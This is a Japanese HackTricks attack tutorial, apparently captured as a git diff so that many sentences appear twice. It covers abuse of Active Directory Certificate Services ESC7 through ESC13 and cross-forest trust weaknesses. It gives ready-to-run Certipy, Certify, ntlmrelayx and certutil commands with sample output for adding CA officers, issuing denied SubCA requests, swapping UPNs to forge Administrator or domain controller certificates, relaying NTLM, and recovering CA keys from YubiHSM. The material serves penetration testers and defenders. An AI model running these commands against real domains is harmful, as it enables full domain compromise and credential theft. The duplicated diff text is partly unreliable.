証明書機関のアクセス制御は、CAのアクションを規定する一連の権限を介して維持されます。これらの権限は、`certsrv.msc`にアクセスしてCAを右クリックし、プロパティを選択し、セキュリティタブに移動することで表示できます。さらに、PSPKIモジュールを使用して、次のようなコマンドで権限を列挙することもできます
証明書機関のアクセス制御は、CAのアクションを規定する一連の権限を介して管理されます。これらの権限は、`certsrv.msc`にアクセスしてCAを右クリックし、プロパティを選択し、セキュリティタブに移動することで表示できます。さらに、PSPKIモジュールを使用して、次のようなコマンドで権限を列挙することもできます:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
これにより、主要な権限である**`ManageCA`**と**`ManageCertificates`**に関連する「CA管理者」と「証明書マネージャー」の役割が明らかになります。
####
####
証明機関で**`ManageCA`**権限を持つことで、PSPKIを使用してリモートで設定を操作できます。これには、任意のテンプレートでSAN指定を許可する**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグを切り替えることが含まれ、ドメインエスカレーションの重要な側面です。
証明機関で**`ManageCA`**権限を持つことにより、PSPKIを使用してリモートで設定を操作することが可能になります。これには、任意のテンプレートでSAN指定を許可する**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグを切り替えることが含まれ、ドメインエスカレーションの重要な側面です。
このプロセスを簡素化することは、PSPKIの**Enable-PolicyModuleFlag**コマンドレットを使用して、直接のGUI操作なしに変更を行うことが可能です。
**`ManageCertificates`**権限を持つことで、保留中のリクエストを承認することができ、実質的に「CA証明書マネージャーの承認」保護を回避できます。
**`ManageCertificates`**権限を持つことで、保留中のリクエストを承認することが可能となり、「CA証明書マネージャーの承認」保護を迂回することができます。
**Certify**と**PSPKI**モジュールの組み合わせを使用して、証明書のリクエスト、承認、ダウンロードを行うことができます:
```powershell
@ -270,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### 説明
{% hint style="warning" %}
**前回の攻撃**では、**`Manage CA`** 権限を使用して **EDITF\_ATTRIBUTESUBJECTALTNAME2** フラグを有効にして **ESC6攻撃** を実行しましたが、これはCAサービス`CertSvc`)が再起動されるまで効果がありません。ユーザーが `Manage CA` アクセス権を持っている、ユーザーはサービスを再起動することも許可されます。ただし、これはユーザーがリモートでサービスを再起動できることを意味するわけではありません。さらに、ほとんどのパッチ済み環境では、2022年5月のセキュリティ更新により、**ESC6** がそのままでは機能しない可能性があります。
**前回の攻撃**では、**`Manage CA`** 権限を使用して **EDITF\_ATTRIBUTESUBJECTALTNAME2** フラグを有効にして **ESC6攻撃** を実行しましたが、これはCAサービス`CertSvc`)が再起動されるまで効果がありません。ユーザーが `Manage CA` アクセス権を持っている場合、ユーザーはサービスを再起動することも許可されます。ただし、これはユーザーがリモートでサービスを再起動できることを意味するわけではありません。さらに、**ESC6** は、2022年5月のセキュリティ更新プログラムにより、ほとんどのパッチ済み環境でデフォルトで機能しない可能性があります。
{% endhint %}
したがって、ここでは別の攻撃が提示されています。
@ -281,18 +281,18 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
- **`Manage Certificates`** 権限(**`ManageCA`** から付与される可能性があります)
- 証明書テンプレート **`SubCA`** が **有効**である必要があります(**`ManageCA`** から有効にできます)
このテクニックは、`Manage CA` および `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書リクエストを発行** できるという事実に依存しています。 **`SubCA`** 証明書テンプレートは **ESC1に脆弱** ですが、**管理者のみ** がテンプレートに登録できます。したがって、**ユーザー** は **`SubCA`** に登録するよう **リクエスト** できますが、これは **拒否されます** が、その後 **マネージャーによって発行されます**
この技術は、`Manage CA` および `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書リクエストを発行** できるとに依存しています。 **`SubCA`** 証明書テンプレートは **ESC1に脆弱** ですが、**管理者のみ** がテンプレートに登録できます。したがって、**ユーザー** は **`SubCA`** に登録をリクエストすることができますが、これは **拒否されます** が、**その後マネージャーによって発行されます**。
#### 悪用
新しいオフィサーとしてユーザーを追加することで、**`Manage Certificates`** アクセス権を **自分に付与** することができます。
新しいオフィサーとしてユーザーを追加することで、**`Manage Certificates`** アクセス権を **自分自身に付与** することができます。
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`**テンプレートは、`-enable-template`パラメータを使用してCAで有効にできます。デフォルトでは、`SubCA`テンプレートは有効になっています。
**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して CA で有効にできます。デフォルトでは、`SubCA` テンプレートは有効になっています。
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -304,11 +304,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
### 攻撃を開始する
もし、この攻撃の前提条件を満たしている場合、**`SubCA`テンプレートに基づいて証明書をリクエスト**することから始めることができます。
この攻撃の前提条件を満たしている場合、`SubCA` テンプレートに基づいて証明書をリクエストすることから始める。
このリクエストは**拒否**されるが、プライベートキーを保存し、リクエストIDをメモしておく。
**このリクエストは拒否**されますが、私たちは秘密鍵を保存し、リクエストIDをメモしておきます。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -320,14 +318,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
**`Manage CA`**と`Manage Certificates`を使用して、`ca`コマンドと`-issue-request <request ID>`パラメータを使用して、失敗した証明書リクエストを発行できます。
私たちの**`Manage CA`と`Manage Certificates`**を使用して、`ca`コマンドと`-issue-request <request ID>`パラメータを使用して、失敗した証明書リクエストを発行することができます。
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
そして、`req`コマンドと`-retrieve <request ID>`パラメータを使用して、**発行された証明書を取得**できます。
最後に、`req`コマンドと`-retrieve <request ID>`パラメータを使用して、**発行された証明書を取得**できます。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -339,42 +337,42 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## NTLM Relay to AD CS HTTP Endpoints ESC8
## AD CS HTTPエンドポイントへのNTLMリレー - ESC8
### Explanation
### 説明
{% hint style="info" %}
**AD CSがインストールされている環境**では、**脆弱なWebエンロールメントエンドポイント**が存在し、**少なくとも1つの証明書テンプレートが公開**されていて、**ドメインコンピュータのエンロールメントとクライアント認証を許可**するもの(デフォルトの**`Machine`**テンプレートなど)がある場合、**スプーラーサービスがアクティブなコンピュータは攻撃者によって侵害される可能性があります**
**AD CSがインストールされている環境**では、**脆弱なWebエンロールメントエンドポイント**が存在し、**少なくとも1つの証明書テンプレートが公開**されていて、**ドメインコンピュータのエンロールメントとクライアント認証を許可**する(デフォルトの**`Machine`**テンプレートなど)場合、**スプーラーサービスがアクティブなコンピュータは攻撃者によって侵害される可能性があります**
{% endhint %}
AD CSでは、複数の**HTTPベースのエンロールメントメソッド**がサポートされており、管理者がインストールできる追加のサーバーロールを介して利用できます。これらのHTTPベースの証明書エンロールメント用インターフェースは、**NTLMリレーアタック**の影響を受けます。**侵害されたマシンから、攻撃者は信NTLM経由で認証される任意のADアカウントをなりすます**ことができます。被害者アカウントをなりすましている間、これらのWebインターフェースを使用して、攻撃者は**`User`**または**`Machine`**証明書テンプレートを使用してクライアント認証証明書を要求できます。
AD CSでは、複数の**HTTPベースのエンロールメントメソッド**がサポートされており、管理者がインストールできる追加のサーバーロールを介して利用可能です。これらのHTTPベースの証明書エンロールメント用インターフェースは、**NTLMリレーアタック**の影響を受けます。**侵害されたマシンから、攻撃者は信NTLM経由で認証される任意のADアカウントをなりすます**ことができます。被害者アカウントをなりすましている間、攻撃者はこれらのWebインターフェースにアクセスして、`User`または`Machine`証明書テンプレートを使用してクライアント認証証明書を要求できます。
* **Webエンロールメントインターフェース**`http://<caserver>/certsrv/`で利用可能な古いASPアプリケーションは、デフォルトでHTTPのみであり、NTLMリレーアタックに対する保護を提供しません。さらに、そのAuthorization HTTPヘッダーを介して明示的にNTLM認証のみを許可しており、より安全な認証方法であるKerberosを適用できなくしています。
* **証明書エンロールメントサービス**CES、**証明書エンロールメントポリシー**CEPWebサービス、および**ネットワークデバイスエンロールメントサービス**NDESは、デフォルトでそのAuthorization HTTPヘッダーを介してネゴシエート認証をサポートしています。ネゴシエート認証はKerberosと**NTLMの両方をサポート**し、攻撃者はリレーアタック中に**NTLMにダウングレード**できます。これらのWebサービスはデフォルトでHTTPSをサポートしていますが、HTTPS単体では**NTLMリレーアタックから保護されません**。HTTPSサービスのNTLMリレーアタックからの保護は、HTTPSがチャネルバインディングと組み合わされた場合のみ可能です。残念ながら、AD CSはIISでチャネルバインディングに必要な拡張保護を有効にしません。
- **Webエンロールメントインターフェース**`http://<caserver>/certsrv/`で利用可能な古いASPアプリケーションは、デフォルトでHTTPのみであり、NTLMリレーアタックに対する保護を提供しません。さらに、そのAuthorization HTTPヘッダーを介してNTLM認証のみを明示的に許可しており、より安全な認証方法であるKerberosを適用できなくしています。
- **証明書エンロールメントサービス**CES、**証明書エンロールメントポリシー**CEPWebサービス、および**ネットワークデバイスエンロールメントサービス**NDESは、デフォルトでそのAuthorization HTTPヘッダーを介してネゴシエート認証をサポートしています。ネゴシエート認証はKerberosと**NTLMの両方をサポート**し、リレーアタック中に**NTLMにダウングレード**することができます。これらのWebサービスはデフォルトでHTTPSをサポートしていますが、HTTPS単体では**NTLMリレーアタックから保護されません**。HTTPSサービスのNTLMリレーアタックからの保護は、HTTPSがチャネルバインディングと組み合わされた場合のみ可能です。残念ながら、AD CSはIISでチャネルバインディングに必要な拡張保護を有効にしません。
NTLMリレーアタックの一般的な**問題**は、**NTLMセッションの短い期間**と、攻撃者が**NTLM署名を必要とするサービスとのやり取りができない**ことです。
NTLMリレーアタックの**一般的な問題**は、**NTLMセッションの短い期間**と、**NTLM署名が必要なサービスとのやり取りができない**ことです。
ただし、この制限は、NTLMリレーアタックを利用してユーザーの証明書を取得することで克服されます。証明書の有効期間がセッションの期間を規定し、証明書は**NTLM署名を必要とするサービスで使用できます**。盗まれた証明書の使用方法については、次を参照してください:
ただし、この制限は、NTLMリレーアタックを利用してユーザーの証明書を取得することで克服されます。証明書の有効期間がセッションの期間を規定し、証明書は**NTLM署名が必要なサービスで使用できます**。盗まれた証明書の使用方法については、次を参照してください:
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
NTLMリレーアタックのもう1つの制限は、**攻撃者が被害者アカウントによって認証されたマシン**である必要があることです。攻撃者は、この認証を待つか、または**強制的に**試みることができます:
NTLMリレーアタックのもう1つの制限は、**攻撃者が制御するマシンが被害者アカウントによって認証される必要がある**ということです。攻撃者は、この認証を待つか、または**強制的に**試みることができます:
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
{% endcontent-ref %}
### **Abuse**
### **悪用**
[**Certify**](https://github.com/GhostPack/Certify)の`cas`は、**有効なHTTP AD CSエンドポイントを列挙**します:
[**Certify**](https://github.com/GhostPack/Certify)の`cas`は、**有効なHTTP AD CSエンドポイント**を列挙します:
```
Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
`msPKI-Enrollment-Servers`プロパティは、エンタープライズ証明書機関CAsが証明書登録サービスCESエンドポイントを保存するために使用されます。これらのエンドポイントは、ツール**Certutil.exe**を利用して解析およびリスト化することができます。
`msPKI-Enrollment-Servers` プロパティは、エンタープライズ証明書機関CAsが証明書登録サービスCESエンドポイントを保存するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を利用して解析およびリスト化することができます。
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
@ -385,7 +383,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
#### 証明書悪用
#### 証明書悪用
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -402,9 +400,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### [Certipy](https://github.com/ly4k/Certipy)を悪用
証明書のリクエストは、アカウント名が`$`で終わるかどうかによってデフォルトでCertipyによって`Machine`または`User`テンプレートに基づいて行われます。別のテンプレートを指定するには、`-template`パラメータを使用します。
証明書のリクエストは、アカウント名が`$`で終わるかどうかによって、Certipyによってデフォルトで`Machine`または`User`のテンプレートに基づいて行われます。別のテンプレートを指定するには、`-template`パラメータを使用します。
その後、[PetitPotam](https://github.com/ly4k/PetitPotam)のようなテクニックを使用して認証を強制することができます。ドメインコントローラを扱う場合、`-template DomainController`の指定が必要です。
その後、[PetitPotam](https://github.com/ly4k/PetitPotam)のようなテクニックを使用して認証を強制することができます。ドメインコントローラを取り扱う場合、`-template DomainController`の指定が必要です。
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -421,20 +419,20 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### 説明
新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は **`msPKI-Enrollment-Flag`** に対する ESC9 として言及され、証明書に **新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張** を埋め込むことを防止します。このフラグは、`StrongCertificateBindingEnforcement` が `1` に設定されている場合(デフォルト設定)、`2` とは対照的です。ESC9 の重要性は、Kerberos や Schannel のためのより弱い証明書マッピングが悪用される可能性がある場合ESC10のような場合に高まります。ESC9 が存在しない場合、要件が変わらないためです。
新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は **`msPKI-Enrollment-Flag`** に対する ESC9 として言及され、証明書に **新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張** を埋め込むことを防止します。このフラグは、`StrongCertificateBindingEnforcement` が `1` に設定されている場合(デフォルト設定)と、`2` に設定されている場合とは対照的に、重要性を持ちます。この重要性は、Kerberos や Schannel のためのより弱い証明書マッピングが悪用される可能性があるシナリオESC10のようなにおいて、ESC9の欠如が要件を変更しないためです。
このフラグの設定が重要になる条件は次のとおりです:
このフラグの設定が重要になる条件には以下が含まれます:
* `StrongCertificateBindingEnforcement``2` に調整されていない場合(デフォルトは `1`)、または `CertificateMappingMethods``UPN` フラグが含まれている場合。
* 証明書`msPKI-Enrollment-Flag` 設定内の `CT_FLAG_NO_SECURITY_EXTENSION` フラグが付いている。
* 証明書クライアント認証 EKU が指定されている。
* 証明書`msPKI-Enrollment-Flag` 設定内の `CT_FLAG_NO_SECURITY_EXTENSION` フラグでマークされている。
* 証明書によってクライアント認証 EKU が指定されている。
* 他のアカウントを妥協させるために `GenericWrite` 権限が利用可能である。
### 悪用シナリオ
`John@corp.local``Jane@corp.local` に対して `GenericWrite` 権限を持ち、`Administrator@corp.local` を妥協することを目指すとします。`Jane@corp.local` が登録を許可されている `ESC9` 証明書テンプレートは、`msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。
`John@corp.local``Jane@corp.local` 上の `GenericWrite` 権限を持ち、`Administrator@corp.local` を妥協することを目指すとします。`Jane@corp.local` が登録を許可されている `ESC9` 証明書テンプレートは、その `msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。
最初に、`John` の `GenericWrite` によ、`Jane` のハッシュが Shadow Credentials を使用して取得されます:
最初に、`John` の `GenericWrite` によって、`Jane` のハッシュが Shadow Credentials を使用して取得されます:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
@ -442,15 +440,15 @@ certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
この変更は制約条件に違反しないため、`Administrator@corp.local` `Administrator``userPrincipalName` として区別されたままです
この変更は制約条件に違反しないため、`Administrator@corp.local` `Administrator``userPrincipalName` として区別されたままである
この後、脆弱とマークされた `ESC9` 証明書テンプレートが `Jane` としてリクエストされます:
この後、脆弱とマークされた `ESC9` 証明書テンプレートが `Jane` としてリクエストされる:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
証明書の `userPrincipalName` には、"Administrator" が反映されており、"object SID" は含まれていません
以下は、証明書の `userPrincipalName` が「Administrator」を反映しており、「object SID」が存在しないことが記載されています
その後、`Jane` の `userPrincipalName` は元に戻され、`Jane@corp.local` にります。
その後、`Jane` の `userPrincipalName` は元に戻され、`Jane@corp.local` にります。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
@ -477,15 +475,15 @@ ESC10で参照されるドメインコントローラー上の2つのレジス
### 悪用ケース1
`StrongCertificateBindingEnforcement`が`0`として構成されている場合、`GenericWrite`権限を持つアカウントAを悪用して、任意のアカウントBを侵害することができます。
`StrongCertificateBindingEnforcement`が`0`として構成されている場合、`GenericWrite`権限を持つアカウントAを悪用して、任意のアカウントBを危険にさらすことができます。
例えば、`Jane@corp.local`に対する`GenericWrite`権限を持っている場合、攻撃者は`Administrator@corp.local`を侵害することを目指します。手順はESC9を模倣し、任意の証明書テンプレートを利用できます。
例えば、`Jane@corp.local`に対する`GenericWrite`権限を持っている場合、攻撃者は`Administrator@corp.local`を危険にさらすことを目指します。手順はESC9を模倣し、任意の証明書テンプレートを利用できるようにします。
最初に、`Jane`のハッシュを取得し、`GenericWrite`を悪用します。
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、意図的に`@corp.local`部分が省略され、制約違反を回避しています。
その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、意図的に`@corp.local`部分が省略され、制約違反を回避しています。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
@ -493,11 +491,11 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane`の`userPrincipalName`はその後元に戻され、`Jane@corp.local`になります。
`Jane`の`userPrincipalName`はその後元に戻され、`Jane@corp.local`になります。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
取得した証明書で認証すると、`Administrator@corp.local` の NT ハッシュが得られます。証明書にドメインの詳細がないため、コマンドでドメインを指定する必要があります。
取得した証明書で認証すると、`Administrator@corp.local` の NT ハッシュが生成され、証明書にドメインの詳細が含まれていないため、コマンドでドメインを指定する必要があります。
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
@ -513,7 +511,7 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
クライアント認証用の証明書が、デフォルトの`User`テンプレートを使用して`Jane`としてリクエストされます。
クライアント認証用の証明書が、デフォルトの `User` テンプレートを使用して `Jane` としてリクエストされます。
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -521,23 +519,21 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
認証するためにSchannelを介して、Certipyの`-ldap-shell`オプションが利用され、認証成功を`u:CORP\DC$`として示します。
Schannnelを介して認証するために、Certipyの`-ldap-shell`オプションが利用され、認証成功は`u:CORP\DC$`として示されます。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
```
LDAPシェルを介して、`set_rbcd`などのコマンドを使用すると、Resource-Based Constrained DelegationRBCD攻撃が可能になり、ドメインコントローラーが危険にさらされる可能性があります。
```
LDAPシェルを介して、`set_rbcd`のようなコマンドを使用すると、リソースベースの制約委任RBCD攻撃が可能になり、ドメインコントローラーが危険にさらされる可能性があります。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
この脆弱性は、`userPrincipalName`を持たないユーザーアカウントや、それが`sAMAccountName`と一致しない場合にも拡張されます。デフォルトの`Administrator@corp.local`は、`userPrincipalName`が存在せず、LDAP権限が昇格しているため、主なターゲットとなります。
この脆弱性は、`userPrincipalName`を持たないユーザーアカウントや、それが`sAMAccountName`と一致しない場合にも拡張されます。デフォルトの`Administrator@corp.local`は、`userPrincipalName`が存在せず、LDAP権限が昇格しているため、主なターゲットとなります。
## ICPRへのNTLM中継 - ESC11
### 説明
CAサーバーが`IF_ENFORCEENCRYPTICERTREQUEST`で構成されていない場合、RPCサービスを介して署名なしでNTLM中継攻撃を行うことができます。[こちらの参照](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)。
CAサーバーが`IF_ENFORCEENCRYPTICERTREQUEST`で構成されていない場合、RPCサービスを介して署名せずにNTLM中継攻撃を行うことができます。[こちらの参照](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)。
`certipy`を使用して、`Enforce Encryption for Requests`が無効になっているかどうかを列挙し、`certipy`は`ESC11`の脆弱性を表示します。
```bash
@ -583,23 +579,23 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
``` bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
## ADCS CAへのYubiHSMを使用したシェルアクセス - ESC12
## YubiHSMを使用したADCS CAへのシェルアクセス - ESC12
### 説明
管理者は、証明書機関を「Yubico YubiHSM2」のような外部デバイスに保存するように設定できます。
USBデバイスがUSBポートを介してCAサーバーに接続されている場合、またはCAサーバーが仮想マシンの場合はUSBデバイスサーバーがある場合、YubiHSMでキーを生成および利用するために認証キー(「パスワード」とも呼ばれることがあります)が必要です。
USBデバイスがCAサーバーにUSBポートを介して接続されている場合、またはCAサーバーが仮想マシンの場合はUSBデバイスサーバーを使用して、YubiHSM内のキーを生成および利用するために認証キー(「パスワード」とも呼ばれることがあります)が必要です。
このキー/パスワードは、レジストリ内の`HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`に平文で保存されています。
このキー/パスワードは、レジストリ内の `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` に平文で保存されています。
参照[こちら](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)。
参照: [こちら](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)。
### 悪用シナリオ
CAの秘密鍵が物理的なUSBデバイスに保存されている場合、シェルアクセスを取得すると、鍵を回復することが可能です。
CAの秘密鍵が物理的なUSBデバイスに保存されている場合、シェルアクセスを取得したときに鍵を回復することが可能です。
まず、CA証明書これは公開されている)を取得する必要があります。そして、以下の手順を実行します:
まず、CA証明書これは公開されています)を取得する必要があります。そして、以下の手順を実行します:
```cmd
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
@ -611,9 +607,9 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
### 説明
`msPKI-Certificate-Policy` 属性を使用すると、証明書テンプレートに発行ポリシーを追加できます。発行ポリシーを担当する `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) で見つけることができます。このオブジェクトの `msDS-OIDToGroupLink` 属性を使用して、ポリシーを AD グループにリンクさせることができ、ユーザーが証明書を提示した場合に、そのユーザーがグループのメンバーであるかのようにシステムが認可することが可能です。[こちらの参照](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
`msPKI-Certificate-Policy` 属性を使用すると、発行ポリシーを証明書テンプレートに追加できます。発行ポリシーを担当する `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの構成名前コンテキストCN=OID,CN=Public Key Services,CN=Servicesで見つけることができます。このオブジェクトの `msDS-OIDToGroupLink` 属性を使用して、ポリシーを AD グループにリンクさせることができ、ユーザーが証明書を提示すると、そのユーザーがグループのメンバーであるかのように権限を継承できます。[こちらの参照](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
言い換えると、ユーザーが証明書の登録権限を持ち、証明書が OID グループにリンクされている場合、そのユーザーはこのグループの特権を継承することができます。
言い換えると、ユーザーが証明書の登録権限を持ち、証明書が OID グループにリンクされている場合、そのユーザーはこのグループの特権を継承できます。
OIDToGroupLink を見つけるには、[Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) を使用してください。
```powershell
@ -639,7 +635,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```
### 悪用シナリオ
`certipy find`または`Certify.exe find /showAllPermissions`を使用して、ユーザー権限を見つけます。
`certipy find`または`Certify.exe find /showAllPermissions`を使用できるユーザー権限を見つけます。
`John`が`VulnerableTemplate`を登録する権限を持っている場合、ユーザーは`VulnerableGroup`グループの特権を継承できます。
@ -651,11 +647,11 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
### 侵害されたCAによるフォレストトラストの破壊
**クロスフォレストの登録**の構成は比較的簡単に行われます。リソースフォレストからの**ルートCA証明書**は管理者によって**アカウントフォレストに公開**され、リソースフォレストからの**エンタープライズCA証明書**は**各アカウントフォレストの`NTAuthCertificates`およびAIAコンテナに追加**されます。この配置により、リソースフォレストのCAは、PKIを管理する他のすべてのフォレストに対して完全な制御権を持つことができます。このCAが攻撃者によって**侵害**された場合、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書が**偽造**される可能性があり、それによりフォレストのセキュリティ境界が破られます。
**クロスフォレストの登録**の構成は比較的簡単に行われます。リソースフォレストからの**ルートCA証明書**は管理者によって**アカウントフォレストに公開**され、リソースフォレストからの**エンタープライズCA**証明書は**各アカウントフォレストの`NTAuthCertificates`およびAIAコンテナに追加**されます。この配置により、リソースフォレストのCAは、そのPKIを管理する他のすべてのフォレストに対して完全な制御権を持つことになります。このCAが攻撃者によって**侵害**された場合、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書が**偽造される可能性**があり、それによりフォレストのセキュリティ境界が破られます。
### 外部プリンシパルに付与された登録特権
複数のフォレスト環境では、**認証ユーザーまたは外部プリンシパル**エンタープライズCAが所属するフォレスト外のユーザー/グループ)に**登録および編集権限**を許可する**証明書テンプレートを公開**するエンタープライズCAについては注意が必要です。\
信頼関係を超えて認証されると、ADによってユーザーのトークンに**認証ユーザーSID**が追加されます。したがって、エンタープライズCAを持つドメインが**認証ユーザーの登録権限を許可するテンプレート**を持っている場合、異なるフォレストのユーザーが**テンプレートに登録**する可能性があります。同様に、**テンプレートによって外部プリンシパルに登録権限が明示的に付与**されている場合、**クロスフォレストのアクセス制御関係が作成**され、1つのフォレストからのプリンシパルが別のフォレスト**テンプレートに登録**することが可能になります。
複数のフォレスト環境では、**認証ユーザーまたは外部プリンシパル**エンタープライズCAが所属するフォレスト外のユーザー/グループ)に**登録および編集権限を許可する証明書テンプレート**を公開するエンタープライズCAに注意が必要です。\
信頼関係を介して認証されると、ADによって**認証ユーザーSID**がユーザーのトークンに追加されます。したがって、ドメインにエンタープライズCAが存在し、**認証ユーザーの登録権限を許可するテンプレート**がある場合、異なるフォレストのユーザーが**テンプレートに登録**する可能性があります。同様に、**テンプレートによって外部プリンシパルに登録権限が明示的に付与されている場合**、**クロスフォレストのアクセス制御関係が作成**され、1つのフォレストからのプリンシパルが別のフォレストから**テンプレートに登録**することが可能になります。
これらのシナリオのいずれも、1つのフォレストから別のフォレストへの**攻撃面の増加**につながります。証明書テンプレートの設定は、攻撃者が外部ドメインで追加の特権を取得するために悪用される可能性があります。

View file

@ -4,22 +4,21 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
